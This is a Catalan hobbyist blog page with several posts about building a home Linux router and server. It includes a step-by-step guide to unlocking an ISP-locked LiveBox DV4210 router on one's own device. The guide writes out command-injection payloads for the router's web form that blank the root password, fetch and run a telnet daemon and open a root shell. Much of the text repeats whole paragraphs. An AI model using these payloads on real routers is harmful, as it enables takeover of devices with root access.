S'han d'explicar unes quantes coses.
Després d'aconseguir que el LiveBox funcionés en mode bridge ha plogut molt, però sobretot ha canviat molt la meva línia ADSL2+: Ara disposo d'una línia de 20 Mbps de baixada i 2'5 Mbps de pujada. Aquesta última xifra només es pot aconseguir amb un aparell que suporti l'annex M de l'ADSL2+, cosa que el LiveBox no fa.
Un segon factor és que quan vaig començar a muntar-ho tenia 6 Mbps de biaxada contractats, el que feia que els limitats 12 Mbps que proporciona el USB versió 1.1 disponible a la placa base de l'equip fossin suficients per a utilitzar un adaptador ethernet USB per afegir la interfície que em mancava (En el cas del LiveBox, quan el connectem per USB estem fent això mateix, utilitzar un adaptador integrat a l'equip USB a ethernet) però ara, amb 20 Mbps, encara que acabin quedant-se en menys per tractar-se d'un màxim teòric, i encara que el fet d'activar l'annex M també el redueixi una mica, l'USB es convertiria en un coll d'ampolla important. I encara un tercer motiu per replantejar algunes coses, el suport per xarxa sense fils a Linux fa aigües, però això mereix una entrada a part.
Simplificant els objectius:
Un dels objectius plantejats era aconseguir integrar una interfície sense fils i fer-la funcionar en mode punt d'accés, això implicava utilitzar una tarja PCI com ja he descrit en anteriors entrades, però també feia que ens quedéssim sense cap port PCI més disponible. Així que tenint en compte el parcial fracàs de la tarja sense fils (Ja he dit que faré una entrada a part parlant del tema), i les limitacions d'ample de banda de l'USB 1.1 al final he simplificat una mica el muntatge i he acabat substituint la tarja sense fils per una tarja PCI ethernet normal i corrent que tenia per allí: Una Intel 82540EM Gigabit ethernet, però qualsevol altre suportada pel nucli de Linux ens hauria valgut, no calia ni que fos a gigabit (Fast ethernet sí, evidentment, hem de superar els 20 Mbps teòrics de l'ADSL2+, si no estaríem on estàvem).
L'altra simplificació ha aparegut en forma de mòdem mono-lloc ethernet, compatible ADSL2+ i amb annex M. Me'l va canviar un company de la feina per l'antic LiveBox i ens hem solucionat problemes mútuament. Ell té un encaminador multi-lloc i jo tinc un mòdem que treu profit de la meva línia ADSL, és més, segons el que he mesurat, el mòdem nou m'ha millorat l'ample de banda 300 Kbps de pujada, fruit de les diferents toleràncies entre equips. Al ser un mòdem mono-lloc ve de sèrie preparat per poder funcionar en mode pont, i per tan no he hagut de fer cap modificació a l'equip ni res que si assembli, s'agraeix.
Resumint: Hem tret una de les interfícies que havíem de tindre en compte (La xarxa sense fils) i hem deixat el tema bastant més pelat i simple a nivell d'encaminador. I evidentment, tampoc descarto a aquestes alçades canviar cap component més!
dilluns, 23 de maig del 2011
dimarts, 2 de novembre del 2010
Bricolatge informàtic: Estalviant energia i espai.
Tot començà el dia que es va cremar el meu servidor. Si si, es va cremar la placa base amb una flamerada que va il·luminar tota l'habitació (era un P4 3GHz també conegut com "l'estufa") mentre escoltava música des del PC. Feia temps que li donava voltes al tema de reduir consum i soroll del servidor, ja que es passa tot el dia encès, però aquell fogonaç en va ser el detonant.
En un primer moment, i per sortir del pas, vaig decidir fer servir el PC com a servidor (un AMD X2 4600 amb una gràfica Gforce 8600GTS) així que vaig muntar els components del PC dins la caixa del servidor i un cop connectats els discos va arrencar a la primera (linux rules). Ara que tornava a tindre servidor me n'adono de que necessito un entorn gràfic i faig el sacrilegi d'instal·lar les X al servidor per a fer-lo servir de PC.
Acostumat a l'amigabilitat d'Ubuntu, treballar amb les X d'una Debian Squeeze no va ser gaire gratificant ("perdoneu, però algú ho havia de dir!"), el ventilador de la Gforce dia i nit generant contaminació acústica no ajudava a sentir-se còmode, i el consum eléctric superior al de l'antic PC (en gran part culpa de la gràfica) em van motivar a trobar una solució de baix consum sense haver d'incrementar l'espai ocupat: Muntatge dual servidor ATOM + PC tot en una caixa.
Acostumat a l'amigabilitat d'Ubuntu, treballar amb les X d'una Debian Squeeze no va ser gaire gratificant ("perdoneu, però algú ho havia de dir!"), el ventilador de la Gforce dia i nit generant contaminació acústica no ajudava a sentir-se còmode, i el consum eléctric superior al de l'antic PC (en gran part culpa de la gràfica) em van motivar a trobar una solució de baix consum sense haver d'incrementar l'espai ocupat: Muntatge dual servidor ATOM + PC tot en una caixa.
Components comuns:
-Caixa Antec P180
-xapa, escuma, cinta doble cara i tornilleria variada
Components PC:
-F.A. 500W modular
-AMD X2 4600+ amb Cooler Scythe Mine
-Nvidia Gforce 8600GTS + Cooler Accelero S1 rev2
-1 x HDD Seagate 1,5TB SATA
-DVDRW
-Lector de targetes USB intern
-2 x ventiladors Antec + 1 x ventilador Tacens Pro
Components Servidor:
-F.A. Enhance 250W SFF 80plus
-Gigabyte GA-D525TUD Mini-ITX
-2 x 2GB DDR3
-3 x HDD Seagate 1,5TB SATA
-1 x HDD WD Caviar Green 2TB SATA
-1 x ventilador Tacens Pro
Amb una xapa foradada repartim l'alimentació entre les dues fonts d'alimentació. El servidor amb placa Atom queda encaixonat a l'antic forat de la font d'alimentació.
Ara toca encabir el PC (i la seva font d'alimentació) a l'espai superior de la caixa. Aqui tenim la placa amb la torre de dissipació passiva. Cinta doble cara, una mica d'escuma per absorbir vibracions i uns separadors ens ajuden a fixar la font al seu lloc.
Es l'hora de connectar cables i provar que tot funciona.
S'ha de dir que des de que vam fer aquest brico fins que he acabat l'entrada, he tingut uns mesos per provar-ho ;). Només dir que funciona perfecte amb la única pega del soroll que fa el ventilador de la CPU Atom que no trigaré en fer-lo desaparèixer. Això però serà un altre dia!
dimecres, 27 d’octubre del 2010
Complicant-me la vida: El mòdem ADSL 2+
Alliberant l'encaminador
Ja havia comentat que disposava d'un LiveBox 1.1 per a utilitzar amb la línia d'ADSL i així poder connectar l'encaminador a Internet. L'aparell en si ja és un encaminador complert, i amb prou paciència, portant com porta un Linux integrat per fer la feina, inclús podria fer moltes de les coses que vull fer directament amb ell, però la meva idea no és aquesta, crec que em mancaria potència (Processador) i sobretot, no em complicaria prou la vida!
El problema amb el LiveBox és que es proporciona capat, no es pot utilitzar per connectar amb altres proveïdors a part del que l'ha proporcionat i, encara que aconseguís que funcionés amb altres proveïdors, la funcionalitats que ens interessa és la funció de treball en mode pont.
Per tal d'activar aquestes funcionalitats extres (Quina mania que tenen alguns en controlar que fas i que no fas amb els equips que tens a casa teva!) cal aconseguir l'accés al mode comanda per telnet, i per fer-ho cal seguir unes instruccions que trobem a l'apartat de Livebox (DV4210) a la web de LSDios, més o menys. El procediment utilitza una vulnerabilitat al codi que executa la màquina per a afegir-hi un servei de telnet i així poder tindre control sobre les opcions disponibles.
Canviant el microprogramari
A l'enllaç que he posat s'explica prou bé el procediment, però utilitza Windows i posats a complicar-nos la vida, tornaré a explicar el procés i hi afegiré alguns canvis per no haver d'utilitzar Windows: Per obtenir accés per telnet cal primer que aconseguim una versió de microprogramari adient, se'ns diu la versió 5.03.2. És disponible a la plana de LSDios.
Per a poder transferir aquest fitxer a l'encaminador haurem d'instal·lar un dimoni de TFTP, però com que no volem trastejar massa amb el que tenim instal·lat a l'ordinador i és un procés que només s'ha de fer una vegada ho farem arrencant una Ubuntu LiveUSB (Jo ho faig amb una versió 10.10), així podem instal·lar el que faci falta i un cop reiniciat l'equip tot torna a estar com estava.
Un cop arrencada la sessió amb el LiveUSB obrim una consola de terminal i executem: sudo apt-get install tftpd-hpa
Si tot va bé acabarem amb un tftpd-hpa start/running, process ... (On els punts suspensius són el número d'identificació del procés). El que està fent ara mateix el programa és servir els arxius que tinguem a /var/lib/tftpboot/, si volem podem canviar la ruta a /etc/default/tftpd-hpa, el paràmetre a canviar és TFTP_DIRECTORY.
Ara necessitem crear l'estructura de directori que el client del LiveBox espera trobar en el nostre servidor de TFTP: sudo mkdir -p /var/lib/tftpboot/inventel/blue_5g
I ara ja podem copia l'arxiu del microprogramari que volem posar a l'encaminador dins d'aquest directori, canviant-ne el nom a factory_script_crypt: sudo cp firmware_v5.03.2-sp.dwb /var/lib/tftpboot/inventel/blue_5g/factory_script_crypt
Com que la transferència es fa per xarxa i per evitar que el Network-Manager ens canviï automàticament la configuració d'aquesta (Ens desconfigurarà totes les interfícies de xarxa, per tan, ens quedarem sense accés a Internet): sudo service network-manager stop
Caldrà donar la IP que espera el client TFTP de l'encaminador a la nostra tarja de xarxa amb fil (Dono per suposat que ara mateix no està en ús): sudo ifconfig eth0 10.7.58.114 netmask 255.0.0.0
Endollem el cable de xarxa ethernet entre l'ordinador i el port groc del LiveBox i, mantenint premut el botó 1 de l'encaminador, endollem la corrent d'aquest i ... Ja està, al cap d'uns moments hauríem de tindre el “nou” microprogramari.
Jo he volgut veure que la transferència es feia, ens ho podem saltar, i per això he utilitzat el tcpdump per a capturar els paquets de TFTP de la interfície de xarxa: sudo tcpdump -i eth0 -T tftp -l > captura.txt
La captura ens dona quelcom semblant a això:
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
15760 packets captured
15562 packets received by filter
9802 packets dropped by kernel
I dins del fitxer tenim això:
07:25:25.084010 ARP, Request who-has 10.7.58.112 tell 10.7.58.112, length 46
07:25:25.188755 IP6 fe80::21e:68ff:fec9:85d3.mdns > ff02::fb.mdns: 42 tftp-#0
07:25:25.188954 IP ubuntu.local.mdns > 224.0.0.251.mdns: 42 tftp-#0
07:25:25.337037 ARP, Request who-has 10.7.58.112 tell 10.7.58.112, length 46
07:25:26.190007 IP6 fe80::21e:68ff:fec9:85d3.mdns > ff02::fb.mdns: 42 tftp-#0
07:25:26.190181 IP ubuntu.local.mdns > 224.0.0.251.mdns: 42 tftp-#0
07:25:28.192110 IP6 fe80::21e:68ff:fec9:85d3.mdns > ff02::fb.mdns: 42 tftp-#0
07:25:28.192290 IP ubuntu.local.mdns > 224.0.0.251.mdns: 42 tftp-#0
07:25:30.194101 IP6 fe80::21e:68ff:fec9:85d3.mdns > ff02::fb.mdns: 42 tftp-#0
07:25:30.194277 IP ubuntu.local.mdns > 224.0.0.251.mdns: 42 tftp-#0
07:25:31.053844 ARP, Request who-has ubuntu.local tell 10.7.58.112, length 46
07:25:31.053901 ARP, Reply ubuntu.local is-at 00:1e:68:c9:85:d3 (oui Unknown), length 28
07:25:31.054700 IP 10.7.58.112.7700 > ubuntu.local.tftp: 46 RRQ "inventel/blue_5g/factory_script_crypt" OCTET
07:25:31.057542 IP ubuntu.local.37847 > 10.7.58.112.7700: 516 DATA block 1
07:25:31.058725 IP 10.7.58.112.7700 > ubuntu.local.37847: 4 ACK block 1
...
Es repeteixen aquestes dues últimes línies fins la sacietat, el que estem fent es transferir l'arxiu en blocs de 512 octets (Amb 4 octets de control) i arriba un punt on ja no queda més fitxer per transferir i tenim un bloc de només 56 octets, moment en que s'atura la transferència.
07:25:37.642440 IP ubuntu.local.37847 > 10.7.58.112.7700: 60 DATA block 7769
07:25:37.642717 IP 10.7.58.112.7700 > ubuntu.local.37847: 4 ACK block 7769
07:25:41.838165 IP 10.7.58.112.7700 > ubuntu.local.37847: 4 ACK block 7769
07:25:41.838220 IP ubuntu.local > 10.7.58.112: ICMP ubuntu.local udp port 37847 unreachable, length 40
Amb això ja tenim l'encaminador funcionant amb un codi vulnerable, on podrem utilitzar una tècnica d'injecció de codi per a fer que ens agafi del servei FTP que ens caldrà configurar ara, el dimoni de telnet que hi volem instal·lar, el utelnet. Com que utilitzo Linux, el més fàcil ha estat utilitzar un dimoni FTP, el vsftp.
Configuració del servei d'FTP
Tornem a posar en funcionament el servei de Network-Manager: sudo service network-manager start
Comprovem que tenim accés a Internet, tingueu en compte que l'encaminador torna a tindre els valors de fabrica, per tan és probable que intenti proporcionar-nos una IP, canviem el cable de xarxa o simplement el desendollem.
Instal·lem el servei de FTP: sudo apt-get install vsftpd
És un paquet sense dependències, per tan, no hi hauria d'haver problemes en instal·lar-lo. El dimoni d'FTP s'arrenca automàticament amb la configuració per defecte, això implica que podem accedir per FTP a la carpeta de l'usuari Ubuntu (Que és l'únic usuari existent en un LiveUSB i no té contrasenya). Necessitem una versió compilada del daemon utelnet, a la web de LSDios n'hi ha una, si no, haurem de compilar la nostra pròpia a partir del paquet que trobarem a la web oficial del projecte a sourceforge.net, només cal fer un .config i make.
Copiem el fitxer de l'utelnet a dins la carpeta de l'usuari, canviant-ne el nom a u per simplicitat.
A la configuració actual de l'encaminador tenim definit un DHCP, per tan, només endollar la xarxa entre l'equip i l'ordinador ens donarà una IP i podrem connectar-hi.
Accedim a l'adreça de la configuració web de l'aparell, amb la IP per defecte: http://192.168.1.1
Volem canviar la configuració avançada, accedim a l'enllaç i ens pregunta per l'usuari i la contrasenya, els dos són admin.
El que farem ara és utilitzar una tècnica d'injecció de codi per a poder executar unes comandes extra, en aquest cas, esborrar la contrasenya de l'usuari root i descarregar per FTP un arxiu anomenat u. Per fer-ho cal que deixem en blanc la casella Contraseña ADSL i a la casella Nombre de usuario ADSL escrivim: ;echo root::0:0:root:/root:/bin/sh >/etc/passwd ;cd /etc;wget ftp://ubuntu:@192.168.1.10/u ;chmod 777 /etc/u
Premem Enviar. Trigarà uns instants i ens tornarem a trobar a la pàgina on hem injectat el codi. Ara el que farem és executar el dimoni que hem copiat, altre cop deixant en blanc la casella de Contraseña ADSL i posant-ho a Nombre de usuario ADSL: ;/etc/u -p 23 -l /bin/sh -d
Fins ara tot el que hem fet ha estat per poder arribar a fer un telnet contra l'encaminador i guanyar així accés per línia de comandes com a root al sistema operatiu intern: telnet 192.168.1.1
“Desembridant l'embridamenta”
Ara que tenim accés per telnet el que hem d'aconseguir és el codi de “desembridatge”, que ens permetrà activar totes les funcions prèviament desactivades per l'ISP, entre elles utilitzar-lo per qualsevol proveïdor i el funcionament en mode pont. Escriurem a la línia de comandes del telnet: redboot_fconfig_get --parameter h235_key /dev/mtd4
Això ens retorna un codi que haurem de copiar al següent enllaç per obtenir el el codi de desembridatge: http://www.adslayuda.com/inventel_DV4210_WS_livebox-h235tounlock.html
La web original del h235tounlock ja no existeix (La que apareix a la web de LSDios), jo he tingut de buscar-la una mira per Internet, res que Google no pugui solucionar. També existeix el codi en C per a ser compilat.
No hauríem de perdre aquest codi, donat que utilitzant el mateix codi podem alliberar qualsevol versió de microprogramari, incloent-ne de més noves amb funcionalitats millorades/arreglades.
Amb el codi que hem obtingut de la web de h235tounlock, accedim a una web oculta de configuració de l'encaminador: http://192.168.1.1/brdgoff.html
Introduïm el codi obtingut anteriorment i premem Enviar.
Finalment podem confirmar que tenim l'encaminador completament alliberat i podrem procedir a configurar-lo com nosaltres vulguem.
No hauríem de perdre aquest codi, donat que utilitzant el mateix codi podem alliberar qualsevol versió de microprogramari, incloent-ne de més noves amb funcionalitats millorades/arreglades.
No deixa de sorprendrem que un procediment llarg com aquest sigui necessari per saltar-se una limitació imposada unilateralment per la companyia que ens proporciona, previ pagament, l'aparell. En qualsevol cas, complicant-me la vida i gracies a la gran comunitat de gent que corre per Internet, aquesta mena de coses es poden canviar, però no deixa de ser estúpid que et limitin l'ús d'un aparell que has pagat per a que només el puguis utilitzar amb ells, com si no es generés suficient escombraria electrònica sense necessitat de fer inútil forçosament un aparell.
No seria molt més senzill poder canviar de proveïdor d'accés sense haver de canviar l'encaminador? Segurament se'n beneficiarien els clients i els proveïdors, però ...
Material necessari
Un encaminador LiveBox 1.1 (DV4210).
El programari descrit.
Un cable de xarxa.
Un llapis de memòria USB amb una Ubuntu LiveUSB.
Un ordinador amb interfície de xarxa amb fil.
Paciència, moooolta paciència.
Ja havia comentat que disposava d'un LiveBox 1.1 per a utilitzar amb la línia d'ADSL i així poder connectar l'encaminador a Internet. L'aparell en si ja és un encaminador complert, i amb prou paciència, portant com porta un Linux integrat per fer la feina, inclús podria fer moltes de les coses que vull fer directament amb ell, però la meva idea no és aquesta, crec que em mancaria potència (Processador) i sobretot, no em complicaria prou la vida!
El problema amb el LiveBox és que es proporciona capat, no es pot utilitzar per connectar amb altres proveïdors a part del que l'ha proporcionat i, encara que aconseguís que funcionés amb altres proveïdors, la funcionalitats que ens interessa és la funció de treball en mode pont.
Per tal d'activar aquestes funcionalitats extres (Quina mania que tenen alguns en controlar que fas i que no fas amb els equips que tens a casa teva!) cal aconseguir l'accés al mode comanda per telnet, i per fer-ho cal seguir unes instruccions que trobem a l'apartat de Livebox (DV4210) a la web de LSDios, més o menys. El procediment utilitza una vulnerabilitat al codi que executa la màquina per a afegir-hi un servei de telnet i així poder tindre control sobre les opcions disponibles.
Canviant el microprogramari
A l'enllaç que he posat s'explica prou bé el procediment, però utilitza Windows i posats a complicar-nos la vida, tornaré a explicar el procés i hi afegiré alguns canvis per no haver d'utilitzar Windows: Per obtenir accés per telnet cal primer que aconseguim una versió de microprogramari adient, se'ns diu la versió 5.03.2. És disponible a la plana de LSDios.
Per a poder transferir aquest fitxer a l'encaminador haurem d'instal·lar un dimoni de TFTP, però com que no volem trastejar massa amb el que tenim instal·lat a l'ordinador i és un procés que només s'ha de fer una vegada ho farem arrencant una Ubuntu LiveUSB (Jo ho faig amb una versió 10.10), així podem instal·lar el que faci falta i un cop reiniciat l'equip tot torna a estar com estava.
Un cop arrencada la sessió amb el LiveUSB obrim una consola de terminal i executem: sudo apt-get install tftpd-hpa
Si tot va bé acabarem amb un tftpd-hpa start/running, process ... (On els punts suspensius són el número d'identificació del procés). El que està fent ara mateix el programa és servir els arxius que tinguem a /var/lib/tftpboot/, si volem podem canviar la ruta a /etc/default/tftpd-hpa, el paràmetre a canviar és TFTP_DIRECTORY.
Ara necessitem crear l'estructura de directori que el client del LiveBox espera trobar en el nostre servidor de TFTP: sudo mkdir -p /var/lib/tftpboot/inventel/blue_5g
I ara ja podem copia l'arxiu del microprogramari que volem posar a l'encaminador dins d'aquest directori, canviant-ne el nom a factory_script_crypt: sudo cp firmware_v5.03.2-sp.dwb /var/lib/tftpboot/inventel/blue_5g/factory_script_crypt
Com que la transferència es fa per xarxa i per evitar que el Network-Manager ens canviï automàticament la configuració d'aquesta (Ens desconfigurarà totes les interfícies de xarxa, per tan, ens quedarem sense accés a Internet): sudo service network-manager stop
Caldrà donar la IP que espera el client TFTP de l'encaminador a la nostra tarja de xarxa amb fil (Dono per suposat que ara mateix no està en ús): sudo ifconfig eth0 10.7.58.114 netmask 255.0.0.0
Endollem el cable de xarxa ethernet entre l'ordinador i el port groc del LiveBox i, mantenint premut el botó 1 de l'encaminador, endollem la corrent d'aquest i ... Ja està, al cap d'uns moments hauríem de tindre el “nou” microprogramari.
Jo he volgut veure que la transferència es feia, ens ho podem saltar, i per això he utilitzat el tcpdump per a capturar els paquets de TFTP de la interfície de xarxa: sudo tcpdump -i eth0 -T tftp -l > captura.txt
La captura ens dona quelcom semblant a això:
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
15760 packets captured
15562 packets received by filter
9802 packets dropped by kernel
I dins del fitxer tenim això:
07:25:25.084010 ARP, Request who-has 10.7.58.112 tell 10.7.58.112, length 46
07:25:25.188755 IP6 fe80::21e:68ff:fec9:85d3.mdns > ff02::fb.mdns: 42 tftp-#0
07:25:25.188954 IP ubuntu.local.mdns > 224.0.0.251.mdns: 42 tftp-#0
07:25:25.337037 ARP, Request who-has 10.7.58.112 tell 10.7.58.112, length 46
07:25:26.190007 IP6 fe80::21e:68ff:fec9:85d3.mdns > ff02::fb.mdns: 42 tftp-#0
07:25:26.190181 IP ubuntu.local.mdns > 224.0.0.251.mdns: 42 tftp-#0
07:25:28.192110 IP6 fe80::21e:68ff:fec9:85d3.mdns > ff02::fb.mdns: 42 tftp-#0
07:25:28.192290 IP ubuntu.local.mdns > 224.0.0.251.mdns: 42 tftp-#0
07:25:30.194101 IP6 fe80::21e:68ff:fec9:85d3.mdns > ff02::fb.mdns: 42 tftp-#0
07:25:30.194277 IP ubuntu.local.mdns > 224.0.0.251.mdns: 42 tftp-#0
07:25:31.053844 ARP, Request who-has ubuntu.local tell 10.7.58.112, length 46
07:25:31.053901 ARP, Reply ubuntu.local is-at 00:1e:68:c9:85:d3 (oui Unknown), length 28
07:25:31.054700 IP 10.7.58.112.7700 > ubuntu.local.tftp: 46 RRQ "inventel/blue_5g/factory_script_crypt" OCTET
07:25:31.057542 IP ubuntu.local.37847 > 10.7.58.112.7700: 516 DATA block 1
07:25:31.058725 IP 10.7.58.112.7700 > ubuntu.local.37847: 4 ACK block 1
...
Es repeteixen aquestes dues últimes línies fins la sacietat, el que estem fent es transferir l'arxiu en blocs de 512 octets (Amb 4 octets de control) i arriba un punt on ja no queda més fitxer per transferir i tenim un bloc de només 56 octets, moment en que s'atura la transferència.
07:25:37.642440 IP ubuntu.local.37847 > 10.7.58.112.7700: 60 DATA block 7769
07:25:37.642717 IP 10.7.58.112.7700 > ubuntu.local.37847: 4 ACK block 7769
07:25:41.838165 IP 10.7.58.112.7700 > ubuntu.local.37847: 4 ACK block 7769
07:25:41.838220 IP ubuntu.local > 10.7.58.112: ICMP ubuntu.local udp port 37847 unreachable, length 40
Amb això ja tenim l'encaminador funcionant amb un codi vulnerable, on podrem utilitzar una tècnica d'injecció de codi per a fer que ens agafi del servei FTP que ens caldrà configurar ara, el dimoni de telnet que hi volem instal·lar, el utelnet. Com que utilitzo Linux, el més fàcil ha estat utilitzar un dimoni FTP, el vsftp.
Configuració del servei d'FTP
Tornem a posar en funcionament el servei de Network-Manager: sudo service network-manager start
Comprovem que tenim accés a Internet, tingueu en compte que l'encaminador torna a tindre els valors de fabrica, per tan és probable que intenti proporcionar-nos una IP, canviem el cable de xarxa o simplement el desendollem.
Instal·lem el servei de FTP: sudo apt-get install vsftpd
És un paquet sense dependències, per tan, no hi hauria d'haver problemes en instal·lar-lo. El dimoni d'FTP s'arrenca automàticament amb la configuració per defecte, això implica que podem accedir per FTP a la carpeta de l'usuari Ubuntu (Que és l'únic usuari existent en un LiveUSB i no té contrasenya). Necessitem una versió compilada del daemon utelnet, a la web de LSDios n'hi ha una, si no, haurem de compilar la nostra pròpia a partir del paquet que trobarem a la web oficial del projecte a sourceforge.net, només cal fer un .config i make.
Copiem el fitxer de l'utelnet a dins la carpeta de l'usuari, canviant-ne el nom a u per simplicitat.
A la configuració actual de l'encaminador tenim definit un DHCP, per tan, només endollar la xarxa entre l'equip i l'ordinador ens donarà una IP i podrem connectar-hi.
Accedim a l'adreça de la configuració web de l'aparell, amb la IP per defecte: http://192.168.1.1
Volem canviar la configuració avançada, accedim a l'enllaç i ens pregunta per l'usuari i la contrasenya, els dos són admin.
El que farem ara és utilitzar una tècnica d'injecció de codi per a poder executar unes comandes extra, en aquest cas, esborrar la contrasenya de l'usuari root i descarregar per FTP un arxiu anomenat u. Per fer-ho cal que deixem en blanc la casella Contraseña ADSL i a la casella Nombre de usuario ADSL escrivim: ;echo root::0:0:root:/root:/bin/sh >/etc/passwd ;cd /etc;wget ftp://ubuntu:@192.168.1.10/u ;chmod 777 /etc/u
Premem Enviar. Trigarà uns instants i ens tornarem a trobar a la pàgina on hem injectat el codi. Ara el que farem és executar el dimoni que hem copiat, altre cop deixant en blanc la casella de Contraseña ADSL i posant-ho a Nombre de usuario ADSL: ;/etc/u -p 23 -l /bin/sh -d
Fins ara tot el que hem fet ha estat per poder arribar a fer un telnet contra l'encaminador i guanyar així accés per línia de comandes com a root al sistema operatiu intern: telnet 192.168.1.1
“Desembridant l'embridamenta”Ara que tenim accés per telnet el que hem d'aconseguir és el codi de “desembridatge”, que ens permetrà activar totes les funcions prèviament desactivades per l'ISP, entre elles utilitzar-lo per qualsevol proveïdor i el funcionament en mode pont. Escriurem a la línia de comandes del telnet: redboot_fconfig_get --parameter h235_key /dev/mtd4
Això ens retorna un codi que haurem de copiar al següent enllaç per obtenir el el codi de desembridatge: http://www.adslayuda.com/inventel_DV4210_WS_livebox-h235tounlock.html
La web original del h235tounlock ja no existeix (La que apareix a la web de LSDios), jo he tingut de buscar-la una mira per Internet, res que Google no pugui solucionar. També existeix el codi en C per a ser compilat.
No hauríem de perdre aquest codi, donat que utilitzant el mateix codi podem alliberar qualsevol versió de microprogramari, incloent-ne de més noves amb funcionalitats millorades/arreglades.
Amb el codi que hem obtingut de la web de h235tounlock, accedim a una web oculta de configuració de l'encaminador: http://192.168.1.1/brdgoff.html
Introduïm el codi obtingut anteriorment i premem Enviar.
Finalment podem confirmar que tenim l'encaminador completament alliberat i podrem procedir a configurar-lo com nosaltres vulguem.No hauríem de perdre aquest codi, donat que utilitzant el mateix codi podem alliberar qualsevol versió de microprogramari, incloent-ne de més noves amb funcionalitats millorades/arreglades.
No deixa de sorprendrem que un procediment llarg com aquest sigui necessari per saltar-se una limitació imposada unilateralment per la companyia que ens proporciona, previ pagament, l'aparell. En qualsevol cas, complicant-me la vida i gracies a la gran comunitat de gent que corre per Internet, aquesta mena de coses es poden canviar, però no deixa de ser estúpid que et limitin l'ús d'un aparell que has pagat per a que només el puguis utilitzar amb ells, com si no es generés suficient escombraria electrònica sense necessitat de fer inútil forçosament un aparell.
No seria molt més senzill poder canviar de proveïdor d'accés sense haver de canviar l'encaminador? Segurament se'n beneficiarien els clients i els proveïdors, però ...
Material necessari
Un encaminador LiveBox 1.1 (DV4210).
El programari descrit.
Un cable de xarxa.
Un llapis de memòria USB amb una Ubuntu LiveUSB.
Un ordinador amb interfície de xarxa amb fil.
Paciència, moooolta paciència.
divendres, 27 d’agost del 2010
Complicant-me la vida: Una tarja PCI per la xarxa sense fils
Encara no havia parlat d'un element que és gran part de la gracia de tot el muntatge, la tarja de xarxa sense fils. Perquè he escollit aquest model en concret, que espero poder fer amb ell i perquè estic força segur que acabaré fent coses que no espero ara mateix.
A veure, no ens enganyem, per molt que t'hi esforcis buscant característiques tècniques i models en concret acabes comprant el que trobes. Per tan, d'entre tot el que podia comprar, he escollit una tarja de xarxa sense fil PCI (Que utilitzo amb l'únic elevador PCI que em val, llegiu l'entrada anterior) de marca TP-Link que per les seves característiques em va semblar la millor.
Volia que fos una tarja sense fil ràpida i compatible, això implicava que complís amb l'estàndard IEEE 802.11n (el Wifi de tota la vida, 150 Mb/s), que fos PCI ja que és l'únic bus que tinc disponible (res de PCIe o USB), que suportés MIMO era un afegit a la velocitat de transmissió (300 Mb/s) i que ho fes utilitzant tres antenes més encara (En general implica millor cobertura), però sobretot necessitava que fos compatible amb Linux, concretament amb l'API de configuració de la nova pila de protocol que incorpora el nucli de Linux, cfg80211.
Resulta que aquest model concret de tarja sense fils (TP-Link TL-WN951N) integra un conjunt de xips del fabricant Atheros (TP-Link només és l'integrador, no dissenya els xips) que havia llegit que estava suportat en el nucli: Atheros AR5008-3NG (Dos xips: AR2133 pels 3 canals de radio a 2'4 GHz i AR5416 per al tractament digital).
Que aquest model aparegués com a ben suportat en el nucli em donava certes garanties de que qualsevol cosa que acabés implementada a la pila de protocol 802.11 del nucli, si no hi havia limitacions a nivell de maquinari, estarien completament suportades, i quan dic qualsevol vull dir que és força probable que els controladors que proporciona el propi fabricant no permetin fer la meitat de coses que permet i/o permetrà el nucli de Linux, perquè és independent el control del maquinari del que permet la pila de protocol. Un exemple: És una tarja de xarxa sense fils, està pensada per a que un cop instal·lada permeti connectar un ordinador a un punt d'accés de xarxa, doncs bé, jo la utilitzaré per a fer un d'aquests punts d'accés de xarxa, no un client.
En successives revisions del nucli de Linux han anat implementant noves funcionalitats a la pila de protocol 802.11, totes i cada una d'elles passen a ser utilitzables per l'equip que jo utilitzo, i no haig de confiar en que el fabricant del dispositiu actualitzi els controladors del seu producte (Més em valdria esperar-me assegut). És una de les "avantatges" de complicar-me la vida.
A veure, no ens enganyem, per molt que t'hi esforcis buscant característiques tècniques i models en concret acabes comprant el que trobes. Per tan, d'entre tot el que podia comprar, he escollit una tarja de xarxa sense fil PCI (Que utilitzo amb l'únic elevador PCI que em val, llegiu l'entrada anterior) de marca TP-Link que per les seves característiques em va semblar la millor.
Volia que fos una tarja sense fil ràpida i compatible, això implicava que complís amb l'estàndard IEEE 802.11n (el Wifi de tota la vida, 150 Mb/s), que fos PCI ja que és l'únic bus que tinc disponible (res de PCIe o USB), que suportés MIMO era un afegit a la velocitat de transmissió (300 Mb/s) i que ho fes utilitzant tres antenes més encara (En general implica millor cobertura), però sobretot necessitava que fos compatible amb Linux, concretament amb l'API de configuració de la nova pila de protocol que incorpora el nucli de Linux, cfg80211.
Resulta que aquest model concret de tarja sense fils (TP-Link TL-WN951N) integra un conjunt de xips del fabricant Atheros (TP-Link només és l'integrador, no dissenya els xips) que havia llegit que estava suportat en el nucli: Atheros AR5008-3NG (Dos xips: AR2133 pels 3 canals de radio a 2'4 GHz i AR5416 per al tractament digital).
Que aquest model aparegués com a ben suportat en el nucli em donava certes garanties de que qualsevol cosa que acabés implementada a la pila de protocol 802.11 del nucli, si no hi havia limitacions a nivell de maquinari, estarien completament suportades, i quan dic qualsevol vull dir que és força probable que els controladors que proporciona el propi fabricant no permetin fer la meitat de coses que permet i/o permetrà el nucli de Linux, perquè és independent el control del maquinari del que permet la pila de protocol. Un exemple: És una tarja de xarxa sense fils, està pensada per a que un cop instal·lada permeti connectar un ordinador a un punt d'accés de xarxa, doncs bé, jo la utilitzaré per a fer un d'aquests punts d'accés de xarxa, no un client.En successives revisions del nucli de Linux han anat implementant noves funcionalitats a la pila de protocol 802.11, totes i cada una d'elles passen a ser utilitzables per l'equip que jo utilitzo, i no haig de confiar en que el fabricant del dispositiu actualitzi els controladors del seu producte (Més em valdria esperar-me assegut). És una de les "avantatges" de complicar-me la vida.
divendres, 6 d’agost del 2010
Complicant-me la vida: Maquinari muntat
Els que sigueu una mica observadors ja haureu vist que les fotos que tinc ja porten tot el muntatge completat. A nivell de maquinari ja tinc tots els components com els volia (Partint del que tinc, clar, sempre es podria millorar).
